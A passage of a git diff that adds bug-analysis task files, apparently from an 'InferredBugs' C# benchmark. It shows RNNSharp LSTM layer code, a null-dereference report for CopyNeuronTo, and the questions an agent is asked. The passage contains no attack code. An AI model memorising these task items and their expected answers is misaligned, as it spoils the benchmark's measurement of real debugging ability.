+                    (float)(c.yOut * Errs[i] * TanHDerivative(c.cellState) + gradientOutputGate * cellWeight.wPeepholeOut);
+
+                var vecErr = new Vector4(cellStateError, cellStateError, cellStateError, gradientOutputGate);
+
+                var Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn = TanH(c.netCellState) *
+                                                                              SigmoidDerivative(c.netIn);
+                var ci_previousCellState_mul_SigmoidDerivative_ci_netForget = c.previousCellState *
+                                                                              SigmoidDerivative(c.netForget);
+                var Sigmoid2Derivative_ci_netCellState_mul_ci_yIn = TanHDerivative(c.netCellState) * c.yIn;
+
+                var vecDerivate = new Vector3(
+                    (float)Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn,
+                    (float)ci_previousCellState_mul_SigmoidDerivative_ci_netForget,
+                    (float)Sigmoid2Derivative_ci_netCellState_mul_ci_yIn);
+                var c_yForget = (float)c.yForget;
+
+                if (SparseFeatureSize > 0)
+                {
+                    //Get sparse feature and apply it into hidden layer
+                    var w_i = sparseFeatureWeights[i];
+                    var wd_i = sparseFeatureToHiddenDeri[i];
+                    var wlr_i = sparseFeatureToHiddenLearningRate[i];
+
+                    foreach (var entry in SparseFeature)
+                    {
+                        var wd = vecDerivate * entry.Value;
+                        //Adding historical information
+                        wd += wd_i[entry.Key] * c_yForget;
+                        wd_i[entry.Key] = wd;
+
+                        //Computing final err delta
+                        var vecDelta = new Vector4(wd, entry.Value);
+                        vecDelta = vecErr * vecDelta;
+                        vecDelta = Vector4.Clamp(vecDelta, vecMinGrad, vecMaxGrad);
+
+                        //Computing actual learning rate
+                        var vecLearningRate = ComputeLearningRate(vecDelta, ref wlr_i[entry.Key]);
+                        lock (lockerSparseFeature[i])
+                        {
+                            w_i[entry.Key] += vecLearningRate * vecDelta;
+                        }
+                    }
+                }
+
+                if (DenseFeatureSize > 0)
+                {
+                    UpdateGateWeights(wDenseInputGate, i, vecDerivate.X, c_yForget, cellStateError);
+                    UpdateGateWeights(wDenseForgetGate, i, vecDerivate.Y, c_yForget, cellStateError);
+                    UpdateGateWeights(wDenseCellGate, i, vecDerivate.Z, c_yForget, cellStateError);
+                    UpdateOutputGateWeights(wDenseOutputGate, i, gradientOutputGate);
+                }
+
+                //Update peephols weights
+                //partial derivatives for internal connections
+                cellWeightDeri.dSWPeepholeIn = cellWeightDeri.dSWPeepholeIn * c.yForget +
+                                  Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn * c.previousCellState;
+
+                //partial derivatives for internal connections, initially zero as dS is zero and previous cell state is zero
+                cellWeightDeri.dSWPeepholeForget = cellWeightDeri.dSWPeepholeForget * c.yForget +
+                                      ci_previousCellState_mul_SigmoidDerivative_ci_netForget * c.previousCellState;
+
+                //update internal weights
+                var vecCellDelta = new Vector3((float)cellWeightDeri.dSWPeepholeIn, (float)cellWeightDeri.dSWPeepholeForget, (float)c.cellState);
+                var vecErr3 = new Vector3(cellStateError, cellStateError, gradientOutputGate);
+
+                vecCellDelta = vecErr3 * vecCellDelta;
+
+                //Normalize err by gradient cut-off
+                vecCellDelta = Vector3.Clamp(vecCellDelta, vecMinGrad3, vecMaxGrad3);
+
+                //Computing actual learning rate
+                var vecCellLearningRate = ComputeLearningRate(vecCellDelta, ref peepholeLearningRate[i]);
+
+                vecCellDelta = vecCellLearningRate * vecCellDelta;
+
+                cellWeight.wPeepholeIn += vecCellDelta.X;
+                cellWeight.wPeepholeForget += vecCellDelta.Y;
+                cellWeight.wPeepholeOut += vecCellDelta.Z;
+
+                //Update cells weights
+                //partial derivatives for internal connections
+                cellWeightDeri.dSWCellIn = cellWeightDeri.dSWCellIn * c.yForget +
+                              Sigmoid2_ci_netCellState_mul_SigmoidDerivative_ci_netIn * c.previousCellOutput;
+
+                //partial derivatives for internal connections, initially zero as dS is zero and previous cell state is zero
+                cellWeightDeri.dSWCellForget = cellWeightDeri.dSWCellForget * c.yForget +
+                                  ci_previousCellState_mul_SigmoidDerivative_ci_netForget * c.previousCellOutput;
+
+                cellWeightDeri.dSWCellState = cellWeightDeri.dSWCellState * c.yForget +
+                                 Sigmoid2Derivative_ci_netCellState_mul_ci_yIn * c.previousCellOutput;
+
+                var vecCellDelta4 = new Vector4((float)cellWeightDeri.dSWCellIn, (float)cellWeightDeri.dSWCellForget, (float)cellWeightDeri.dSWCellState, (float)c.previousCellOutput);
+                vecCellDelta4 = vecErr * vecCellDelta4;
+
+                //Normalize err by gradient cut-off
+                vecCellDelta4 = Vector4.Clamp(vecCellDelta4, vecMinGrad, vecMaxGrad);
+
+                //Computing actual learning rate
+                var vecCellLearningRate4 = ComputeLearningRate(vecCellDelta4, ref cellLearningRate[i]);
+
+                vecCellDelta4 = vecCellLearningRate4 * vecCellDelta4;
+
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellIn, vecCellDelta4.X);
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellForget, vecCellDelta4.Y);
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellState, vecCellDelta4.Z);
+                RNNHelper.LockFreeAdd(ref cellWeight.wCellOut, vecCellDelta4.W);
+
+                LSTMCells[i] = c;
+            }
+        }
+
+        public override void ComputeLayerErr(SimpleLayer nextLayer)
+        {
+            var layer = nextLayer as LSTMLayer;
+
+            if (layer != null)
+            {
+                for (var i = 0;i < LayerSize;i++)
+                {
+                    var err = 0.0f;
+                    for (var k = 0; k < nextLayer.LayerSize; k++)
+                    {
+                        err += layer.Errs[k] * layer.wDenseOutputGate.weights[k][i];
+                    }
+                    Errs[i] = RNNHelper.NormalizeGradient(err);
+                }
+            }
+            else
+            {
+                base.ComputeLayerErr(nextLayer);
+            }
+        }
+
+        public override void Reset()
+        {
+            for (var i = 0; i < LayerSize; i++)
+            {
+                Cells[i] = 0;
+                InitializeLSTMCell(LSTMCells[i], CellWeights[i], CellWeightsDeri[i]);
+
+                sparseFeatureToHiddenDeri[i].Clear();
+            }
+        }
+
+        private void InitializeLSTMCell(LSTMCell c, LSTMCellWeight cw, LSTMCellWeightDeri deri)
+        {
+         //   c.previousCellState = 0;
+            c.cellState = 0;
+
+            //partial derivatives
+            deri.dSWPeepholeIn = 0;
+            deri.dSWPeepholeForget = 0;
+
+            deri.dSWCellIn = 0;
+            deri.dSWCellForget = 0;
+            deri.dSWCellState = 0;
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private Vector3 ComputeLearningRate(Vector3 vecDelta, ref Vector3 vecWeightLearningRate)
+        {
+            vecWeightLearningRate += vecDelta * vecDelta;
+            return vecNormalLearningRate3 / (Vector3.SquareRoot(vecWeightLearningRate) + Vector3.One);
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private Vector4 ComputeLearningRate(Vector4 vecDelta, ref Vector4 vecWeightLearningRate)
+        {
+            vecWeightLearningRate += vecDelta * vecDelta;
+            return vecNormalLearningRate / (Vector4.SquareRoot(vecWeightLearningRate) + Vector4.One);
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private Vector<float> ComputeLearningRate(Vector<float> vecDelta, ref Vector<float> vecWeightLearningRate)
+        {
+            vecWeightLearningRate += vecDelta * vecDelta;
+
+            return vecNormalLearningRateFloat / (Vector.SquareRoot(vecWeightLearningRate) + Vector<float>.One);
+
+        }
+
+        [MethodImpl(MethodImplOptions.AggressiveInlining)]
+        private float ComputeLearningRate(float delta, ref float weightLearningRate)
+        {
+            weightLearningRate += delta * delta;
+
+            return (float)(RNNHelper.LearningRate / (Math.Sqrt(weightLearningRate) + 1.0));
+        }
+    }
+
+    public class LSTMCellWeightDeri
+    {
+        public double dSWCellForget;
+        public double dSWCellIn;
+        public double dSWCellState;
+        public double dSWPeepholeForget;
+        public double dSWPeepholeIn;
+    }
+
+
+    public class LSTMCellWeight
+    {
+        //Weights for each gate
+        public double wCellForget;
+        public double wCellIn;
+        public double wCellOut;
+        public double wCellState;
+        public double wPeepholeForget;
+        public double wPeepholeIn;
+        public double wPeepholeOut;
+    }
+
+    public class LSTMCell
+    {
+        //The following fields are only for forward
+        public double previousCellState;
+        public double previousCellOutput;
+        public double cellState;
+
+        public double netCellState;
+        public double netForget;
+        public double netIn;
+        public double netOut;
+
+        public double yCellState;
+        public double yForget;
+        public double yIn;
+        public double yOut;
+
+        public LSTMCell()
+        {
+
+        }
+
+        public LSTMCell(LSTMCell cell)
+        {
+            Set(cell);
+        }
+
+        public void Set(LSTMCell cell)
+        {
+            previousCellState = cell.previousCellState;
+            previousCellOutput = cell.previousCellOutput;
+            cellState = cell.cellState;
+            netCellState = cell.netCellState;
+            netForget = cell.netForget;
+            netIn = cell.netIn;
+            netOut = cell.netOut;
+            yCellState = cell.yCellState;
+            yForget = cell.yForget;
+            yIn = cell.yIn;
+            yOut = cell.yOut;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `lstmNeuron` last assigned on line 157 could be null and is dereferenced at line 159, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Neuron LSTMLayer.CopyNeuronTo(Neuron)
+
+### File:
+RNNSharp/Layers/LSTMLayer.cs
+
+### Key:
+LSTMLayer.cs|CopyNeuronTo|NULL_DEREFERENCE
+
+### Node Key:
+2cefdf467be5b2a12ba8e1652fa299d8
+
+### Hash:
+af1be7f713064147bf696eb9f2782ce1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2498/instruction.md b/inferredbugs-2498/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e39f13b482ed4404b707a0847b134d1696b94734
--- /dev/null
+++ b/inferredbugs-2498/instruction.md
@@ -0,0 +1,1239 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RNNSharp
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using AdvUtils;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Numerics;
+using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
+
+namespace RNNSharp
+{
+
+    public class LSTMGateWeight
+    {
+        public float[][] weights;
+        public float[][] deri;
+        public float[][] learningRate;
+        public int layerSize;
+        public int denseFeatureSize;
+        protected ParallelOptions parallelOption = new ParallelOptions();
+        public object[] locker;
+
+        public LSTMGateWeight CloneSharedWeights()
+        {
+            LSTMGateWeight gateWeight = new LSTMGateWeight();
+            gateWeight.InitWeights(layerSize, denseFeatureSize);
+            gateWeight.weights = weights;
+            gateWeight.learningRate = learningRate;
+            gateWeight.locker = locker;
+
+            return gateWeight;
+        }
+
+        public void CleanLearningRate()
+        {
+            if (denseFeatureSize > 0)
+            {
+                for (var i = 0; i < layerSize; i++)
+                {
+                    Array.Clear(learningRate[i], 0, learningRate[i].Length);
+                }
+            }
+        }
+
+        public void InitWeights(int LayerSize, int DenseFeatureSize)
+        {
+            layerSize = LayerSize;
+            denseFeatureSize = DenseFeatureSize;
+
+            weights = new float[layerSize][];
+            for (var i = 0; i < layerSize; i++)
+            {
+                weights[i] = new float[denseFeatureSize];
+                for (var j = 0; j < denseFeatureSize; j++)
+                {
+                    weights[i][j] = RNNHelper.RandInitWeight();
+                }
+            }
+        }
+
+        public void InitInternaTrainingParameters(bool hasDeri = true)
+        {
+            if (learningRate == null)
+            {
+                learningRate = new float[layerSize][];
+                for (var i = 0; i < layerSize; i++)
+                {
+                    learningRate[i] = new float[denseFeatureSize];
+                }
+            }
+
+            if (hasDeri)
+            {
+                deri = new float[layerSize][];
+                for (var i = 0; i < layerSize; i++)
+                {
+                    deri[i] = new float[denseFeatureSize];
+                }
+            }
+
+            if (locker == null)
+            {
+                locker = new object[layerSize];
+                for (var i = 0; i < layerSize; i++)
+                {
+                    locker[i] = new object();
+                }
+            }
+        }
+    }
+
+    public class LSTMNeuron : Neuron
+    {
+        public LSTMCell[] LSTMCells;
+    }
+
+    public class LSTMLayer : SimpleLayer
+    {
+        public LSTMCell[] LSTMCells;
+
+        public LSTMCellWeight[] CellWeights;
+        public LSTMCellWeightDeri[] CellWeightsDeri;
+        protected Vector4[] cellLearningRate;
+        protected Vector3[] peepholeLearningRate;
+
+        //Due to different data access patterns(random access for sparse features and continuous access for dense features), 
+        //we use different data structure to keep features weights in order to improve performance 
+        protected LSTMGateWeight wDenseInputGate;
+        protected LSTMGateWeight wDenseForgetGate;
+        protected LSTMGateWeight wDenseCellGate;
+        public LSTMGateWeight wDenseOutputGate;
+
+        //X - wInputInputGate
+        //Y - wInputForgetGate
+        //Z - wInputCell
+        //W - wInputOutputGate
+        protected Vector4[][] sparseFeatureWeights;
+      //  protected Vector3[][] sparseFeatureToHiddenDeri;
+        protected Vector4[][] sparseFeatureToHiddenLearningRate;
+
+        protected Dictionary<int, Vector3>[] sparseFeatureToHiddenDeri;
+
+
+        private Vector4 vecMaxGrad;
+
+        private Vector3 vecMaxGrad3;
+        private Vector4 vecMinGrad;
+        private Vector3 vecMinGrad3;
+
+        private Vector4 vecNormalLearningRate;
+        private Vector3 vecNormalLearningRate3;
+        private Vector<float> vecNormalLearningRateFloat;
+
+        LSTMLayerConfig config;
+
+        public LSTMLayer(LSTMLayerConfig config) : base(config)
+        {
+            this.config = config;
+            LSTMCells = new LSTMCell[LayerSize];
+            for (var i = 0; i < LayerSize; i++)
+            {
+                LSTMCells[i] = new LSTMCell();
+            }
+        }
+
+        public override SimpleLayer CreateLayerSharedWegiths()
+        {
+            LSTMLayer layer = new LSTMLayer(config);
+            ShallowCopyWeightTo(layer);
+
+            return layer;
+        }
+
+        public override Neuron CopyNeuronTo(Neuron neuron)
+        {
+            LSTMNeuron lstmNeuron = neuron as LSTMNeuron;
+
+            Cells.CopyTo(lstmNeuron.Cells, 0);
+            previousCellOutputs.CopyTo(lstmNeuron.PrevCellOutputs, 0);
+            for (int i = 0; i < LayerSize; i++)
+            {
+                lstmNeuron.LSTMCells[i].Set(LSTMCells[i]);
+            }
+
+
+            return lstmNeuron;
+        }
+
+        public override void PreUpdateWeights(Neuron neuron, float[] errs)
+        {
+            LSTMNeuron lstmNeuron = neuron as LSTMNeuron;
+            lstmNeuron.Cells.CopyTo(Cells, 0);
+            lstmNeuron.PrevCellOutputs.CopyTo(previousCellOutputs, 0);
+            for (int i = 0; i < LayerSize; i++)
+            {
+                LSTMCells[i].Set(lstmNeuron.LSTMCells[i]);
+            }
+
+            errs.CopyTo(Errs, 0);
+        }
+
+        public override void ShallowCopyWeightTo(SimpleLayer destLayer)
+        {
+            LSTMLayer layer = destLayer as LSTMLayer;
+            layer.SparseFeatureSize = SparseFeatureSize;
+            layer.DenseFeatureSize = DenseFeatureSize;
+
+            layer.sparseFeatureWeights = sparseFeatureWeights;
+            layer.sparseFeatureToHiddenLearningRate = sparseFeatureToHiddenLearningRate;
+
+            layer.wDenseCellGate = wDenseCellGate.CloneSharedWeights();
+            layer.wDenseForgetGate = wDenseForgetGate.CloneSharedWeights();
+            layer.wDenseInputGate = wDenseInputGate.CloneSharedWeights();
+            layer.wDenseOutputGate = wDenseOutputGate.CloneSharedWeights();
+
+            layer.CellWeights = CellWeights;
+
+            layer.lockerDenseFeature = lockerDenseFeature;
+            layer.lockerSparseFeature = lockerSparseFeature;
+
+            layer.InitializeInternalTrainingParameters();
+        }
+
+        public override void InitializeInternalTrainingParameters()
+        {
+            if (SparseFeatureSize > 0)
+            {
+                //sparseFeatureToHiddenDeri = new Vector3[LayerSize][];
+                //for (var i = 0; i < LayerSize; i++)
+                //{
+                //    sparseFeatureToHiddenDeri[i] = new Vector3[SparseFeatureSize];
+                //}
+
+                sparseFeatureToHiddenDeri = new Dictionary<int, Vector3>[LayerSize];
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    sparseFeatureToHiddenDeri[i] = new Dictionary<int, Vector3>();
+                }
+            }
+
+            if (sparseFeatureToHiddenLearningRate == null)
+            {
+                if (SparseFeatureSize > 0)
+                {
+                    sparseFeatureToHiddenLearningRate = new Vector4[LayerSize][];
+                    for (var i = 0; i < LayerSize; i++)
+                    {
+                        sparseFeatureToHiddenLearningRate[i] = new Vector4[SparseFeatureSize];
+                    }
+                }
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                wDenseInputGate.InitInternaTrainingParameters();
+                wDenseForgetGate.InitInternaTrainingParameters();
+                wDenseCellGate.InitInternaTrainingParameters();
+                wDenseOutputGate.InitInternaTrainingParameters(false);
+            }
+
+            CellWeightsDeri = new LSTMCellWeightDeri[LayerSize];
+            for (var i = 0; i < LayerSize; i++)
+            {
+                CellWeightsDeri[i] = new LSTMCellWeightDeri();
+            }
+
+            if (lockerDenseFeature == null)
+            {
+                lockerDenseFeature = new object[LayerSize];
+                for (int i = 0; i < LayerSize; i++)
+                {
+                    lockerDenseFeature[i] = new object();
+                }
+            }
+
+            if (lockerSparseFeature == null)
+            {
+                lockerSparseFeature = new object[LayerSize];
+                for (int i = 0; i < LayerSize; i++)
+                {
+                    lockerSparseFeature[i] = new object();
+                }
+            }
+        }
+
+
+        public override void InitializeWeights(int sparseFeatureSize, int denseFeatureSize)
+        {
+            SparseFeatureSize = sparseFeatureSize;
+            DenseFeatureSize = denseFeatureSize;
+
+            InitializeCellWeights(null);
+
+            if (SparseFeatureSize > 0)
+            {
+                sparseFeatureWeights = new Vector4[LayerSize][];
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    sparseFeatureWeights[i] = new Vector4[SparseFeatureSize];
+                    for (var j = 0; j < SparseFeatureSize; j++)
+                    {
+                        sparseFeatureWeights[i][j] = InitializeLSTMWeight();
+                    }
+                }
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                wDenseInputGate = new LSTMGateWeight();
+                wDenseForgetGate = new LSTMGateWeight();
+                wDenseCellGate = new LSTMGateWeight();
+                wDenseOutputGate = new LSTMGateWeight();
+                wDenseInputGate.InitWeights(LayerSize, DenseFeatureSize);
+                wDenseForgetGate.InitWeights(LayerSize, DenseFeatureSize);
+                wDenseCellGate.InitWeights(LayerSize, DenseFeatureSize);
+                wDenseOutputGate.InitWeights(LayerSize, DenseFeatureSize);
+            }
+
+            InitializeInternalTrainingParameters();
+
+            Logger.WriteLine(
+                "Initializing weights, sparse feature size: {0}, dense feature size: {1}, random value is {2}",
+                SparseFeatureSize, DenseFeatureSize, RNNHelper.rand.NextDouble());
+        }
+
+        private void InitializeCellWeights(BinaryReader br)
+        {
+            CellWeights = new LSTMCellWeight[LayerSize];
+            CellWeightsDeri = new LSTMCellWeightDeri[LayerSize];
+
+            if (br != null)
+            {
+                //Load weight from input file
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    CellWeights[i] = new LSTMCellWeight();
+                    CellWeights[i].wPeepholeIn = br.ReadDouble();
+                    CellWeights[i].wPeepholeForget = br.ReadDouble();
+                    CellWeights[i].wPeepholeOut = br.ReadDouble();
+
+                    CellWeights[i].wCellIn = br.ReadDouble();
+                    CellWeights[i].wCellForget = br.ReadDouble();
+                    CellWeights[i].wCellState = br.ReadDouble();
+                    CellWeights[i].wCellOut = br.ReadDouble();
+
+                    CellWeightsDeri[i] = new LSTMCellWeightDeri();
+                }
+            }
+            else
+            {
+                //Initialize weight by random number
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    CellWeights[i] = new LSTMCellWeight();
+                    //internal weights, also important
+                    CellWeights[i].wPeepholeIn = RNNHelper.RandInitWeight();
+                    CellWeights[i].wPeepholeForget = RNNHelper.RandInitWeight();
+                    CellWeights[i].wPeepholeOut = RNNHelper.RandInitWeight();
+
+                    CellWeights[i].wCellIn = RNNHelper.RandInitWeight();
+                    CellWeights[i].wCellForget = RNNHelper.RandInitWeight();
+                    CellWeights[i].wCellState = RNNHelper.RandInitWeight();
+                    CellWeights[i].wCellOut = RNNHelper.RandInitWeight();
+
+                    CellWeightsDeri[i] = new LSTMCellWeightDeri();
+                }
+            }
+        }
+
+        private Vector4 InitializeLSTMWeight()
+        {
+            Vector4 w;
+
+            //initialise each weight to random value
+            w.X = RNNHelper.RandInitWeight();
+            w.Y = RNNHelper.RandInitWeight();
+            w.Z = RNNHelper.RandInitWeight();
+            w.W = RNNHelper.RandInitWeight();
+
+            return w;
+        }
+
+        private double TanH(double x)
+        {
+            return Math.Tanh(x);
+        }
+
+        private double TanHDerivative(double x)
+        {
+            var tmp = Math.Tanh(x);
+            return 1 - tmp * tmp;
+        }
+
+        private double Sigmoid(double x)
+        {
+            return 1.0 / (1.0 + Math.Exp(-x));
+        }
+
+        private double SigmoidDerivative(double x)
+        {
+            return Sigmoid(x) * (1.0 - Sigmoid(x));
+        }
+
+        private void SaveCellWeights(BinaryWriter fo)
+        {
+            for (var i = 0; i < LayerSize; i++)
+            {
+                fo.Write(CellWeights[i].wPeepholeIn);
+                fo.Write(CellWeights[i].wPeepholeForget);
+                fo.Write(CellWeights[i].wPeepholeOut);
+
+                fo.Write(CellWeights[i].wCellIn);
+                fo.Write(CellWeights[i].wCellForget);
+                fo.Write(CellWeights[i].wCellState);
+                fo.Write(CellWeights[i].wCellOut);
+            }
+        }
+
+        private void SaveLSTMweights(LSTMGateWeight gateWeight, BinaryWriter fo, bool bVQ = false)
+        {
+            float[][] weights = gateWeight.weights;
+            var w = weights.Length;
+            var h = weights[0].Length;
+
+            Logger.WriteLine($"Saving LSTM gate weight matrix. width: {w}, height: {h}");
+
+            fo.Write(w);
+            fo.Write(h);
+
+            fo.Write(0);
+
+            for (var i = 0; i < w; i++)
+            {
+                for (var j = 0; j < h; j++)
+                {
+                    fo.Write(weights[i][j]);
+                }
+            }
+        }
+
+        private void SaveLSTMWeights(Vector4[][] weight, BinaryWriter fo, bool bVQ = false)
+        {
+            var w = weight.Length;
+            var h = weight[0].Length;
+            var vqSize = 256;
+
+            Logger.WriteLine("Saving LSTM weight matrix. width:{0}, height:{1}, vq:{2}", w, h, bVQ);
+
+            fo.Write(weight.Length);
+            fo.Write(weight[0].Length);
+
+            if (bVQ == false)
+            {
+                fo.Write(0);
+
+                for (var i = 0; i < w; i++)
+                {
+                    for (var j = 0; j < h; j++)
+                    {
+                        fo.Write(weight[i][j].X);
+                        fo.Write(weight[i][j].Y);
+                        fo.Write(weight[i][j].Z);
+                        fo.Write(weight[i][j].W);
+                    }
+                }
+            }
+            else
+            {
+                //Build vector quantization model
+                var vqInputCell = new VectorQuantization();
+                var vqInputForgetGate = new VectorQuantization();
+                var vqInputInputGate = new VectorQuantization();
+                var vqInputOutputGate = new VectorQuantization();
+                for (var i = 0; i < w; i++)
+                {
+                    for (var j = 0; j < h; j++)
+                    {
+                        vqInputInputGate.Add(weight[i][j].X);
+                        vqInputForgetGate.Add(weight[i][j].Y);
+                        vqInputCell.Add(weight[i][j].Z);
+                        vqInputOutputGate.Add(weight[i][j].W);
+                    }
+                }
+
+                var distortion = vqInputInputGate.BuildCodebook(vqSize);
+                Logger.WriteLine("InputInputGate distortion: {0}", distortion);
+
+                distortion = vqInputForgetGate.BuildCodebook(vqSize);
+                Logger.WriteLine("InputForgetGate distortion: {0}", distortion);
+
+                distortion = vqInputCell.BuildCodebook(vqSize);
+                Logger.WriteLine("InputCell distortion: {0}", distortion);
+
+                distortion = vqInputOutputGate.BuildCodebook(vqSize);
+                Logger.WriteLine("InputOutputGate distortion: {0}", distortion);
+
+                fo.Write(vqSize);
+
+                //Save InputInputGate VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputInputGate.CodeBook[j]);
+                }
+
+                //Save InputForgetGate VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputForgetGate.CodeBook[j]);
+                }
+
+                //Save InputCell VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputCell.CodeBook[j]);
+                }
+
+                //Save InputOutputGate VQ codebook into file
+                for (var j = 0; j < vqSize; j++)
+                {
+                    fo.Write(vqInputOutputGate.CodeBook[j]);
+                }
+
+                for (var i = 0; i < w; i++)
+                {
+                    for (var j = 0; j < h; j++)
+                    {
+                        fo.Write((byte)vqInputInputGate.ComputeVQ(weight[i][j].X));
+                        fo.Write((byte)vqInputForgetGate.ComputeVQ(weight[i][j].Y));
+                        fo.Write((byte)vqInputCell.ComputeVQ(weight[i][j].Z));
+                        fo.Write((byte)vqInputOutputGate.ComputeVQ(weight[i][j].W));
+                    }
+                }
+            }
+        }
+
+        private static LSTMGateWeight LoadLSTMGateWeights(BinaryReader br)
+        {
+            var w = br.ReadInt32();
+            var h = br.ReadInt32();
+            var vqSize = br.ReadInt32();
+            LSTMGateWeight gateWeight = new LSTMGateWeight();
+
+            Logger.WriteLine("Loading LSTM-Weight: width:{0}, height:{1}, vqSize:{2}...", w, h, vqSize);
+
+            var m = new float[w][];
+            gateWeight.weights = m;
+            gateWeight.layerSize = w;
+            gateWeight.denseFeatureSize = h;
+
+            for (var i = 0; i < w; i++)
+            {
+                m[i] = new float[h];
+                for (var j = 0; j < h; j++)
+                {
+                    m[i][j] = br.ReadSingle();
+                }
+            }
+
+            return gateWeight;
+        }
+
+        private static Vector4[][] LoadLSTMWeights(BinaryReader br)
+        {
+            var w = br.ReadInt32();
+            var h = br.ReadInt32();
+            var vqSize = br.ReadInt32();
+            var m = new Vector4[w][];
+
+            Logger.WriteLine("Loading LSTM-Weight: width:{0}, height:{1}, vqSize:{2}...", w, h, vqSize);
+            if (vqSize == 0)
+            {
+                for (var i = 0; i < w; i++)
+                {
+                    m[i] = new Vector4[h];
+                    for (var j = 0; j < h; j++)
+                    {
+                        m[i][j].X = br.ReadSingle();
+                        m[i][j].Y = br.ReadSingle();
+                        m[i][j].Z = br.ReadSingle();
+                        m[i][j].W = br.ReadSingle();
+                    }
+                }
+            }
+            else
+            {
+                var codeBookInputCell = new List<float>();
+                var codeBookInputForgetGate = new List<float>();
+                var codeBookInputInputGate = new List<float>();
+                var codeBookInputOutputGate = new List<float>();
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputInputGate.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputForgetGate.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputCell.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < vqSize; i++)
+                {
+                    codeBookInputOutputGate.Add(br.ReadSingle());
+                }
+
+                for (var i = 0; i < w; i++)
+                {
+                    m[i] = new Vector4[h];
+                    for (var j = 0; j < h; j++)
+                    {
+                        int vqIdx = br.ReadByte();
+                        m[i][j].X = codeBookInputInputGate[vqIdx];
+
+                        vqIdx = br.ReadByte();
+                        m[i][j].Y = codeBookInputForgetGate[vqIdx];
+
+                        vqIdx = br.ReadByte();
+                        m[i][j].Z = codeBookInputCell[vqIdx];
+
+                        vqIdx = br.ReadByte();
+                        m[i][j].W = codeBookInputOutputGate[vqIdx];
+                    }
+                }
+            }
+
+            return m;
+        }
+
+        public override void Save(BinaryWriter fo)
+        {
+            fo.Write(LayerSize);
+            fo.Write(SparseFeatureSize);
+            fo.Write(DenseFeatureSize);
+
+            //Save hidden layer weights
+            Logger.WriteLine(
+                $"Saving LSTM layer, size = '{LayerSize}', sparse feature size = '{SparseFeatureSize}', dense feature size = '{DenseFeatureSize}'");
+
+            SaveCellWeights(fo);
+
+            if (SparseFeatureSize > 0)
+            {
+                //weight input->hidden
+                Logger.WriteLine("Saving sparse feature weights...");
+                SaveLSTMWeights(sparseFeatureWeights, fo);
+            }
+
+            if (DenseFeatureSize > 0)
+            {
+                //weight fea->hidden
+                Logger.WriteLine("Saving dense feature weights...");
+
+                SaveLSTMweights(wDenseInputGate, fo);
+                SaveLSTMweights(wDenseCellGate, fo);
+                SaveLSTMweights(wDenseForgetGate, fo);
+                SaveLSTMweights(wDenseOutputGate, fo);
+            }
+        }
+
+        public static LSTMLayer Load(BinaryReader br, LayerType layerType)
+        {
+            LSTMLayerConfig config = new LSTMLayerConfig();
+            config.LayerSize = br.ReadInt32();
+            config.LayerType = layerType;
+            LSTMLayer layer = new LSTMLayer(config);
+
+            layer.SparseFeatureSize = br.ReadInt32();
+            layer.DenseFeatureSize = br.ReadInt32();
+
+            //Create cells of each layer
+            layer.InitializeCellWeights(br);
+
+            //Load weight matrix between each two layer pairs
+            //weight input->hidden
+            if (layer.SparseFeatureSize > 0)
+            {
+                Logger.WriteLine("Loading sparse feature weights...");
+                layer.sparseFeatureWeights = LoadLSTMWeights(br);
+            }
+
+            if (layer.DenseFeatureSize > 0)
+            {
+                //weight fea->hidden
+                Logger.WriteLine("Loading dense feature weights...");
+                layer.wDenseInputGate = LoadLSTMGateWeights(br);
+                layer.wDenseCellGate = LoadLSTMGateWeights(br);
+                layer.wDenseForgetGate = LoadLSTMGateWeights(br);
+                layer.wDenseOutputGate = LoadLSTMGateWeights(br);
+            }
+
+            return layer;
+        }
+
+        public override void CleanLearningRate()
+        {
+            if (SparseFeatureSize > 0)
+            {
+                for (var i = 0; i < LayerSize; i++)
+                {
+                    Array.Clear(sparseFeatureToHiddenLearningRate[i], 0, SparseFeatureSize);
+                }
+            }
+
+            if (DenseFeatureSize > 0)
+            {
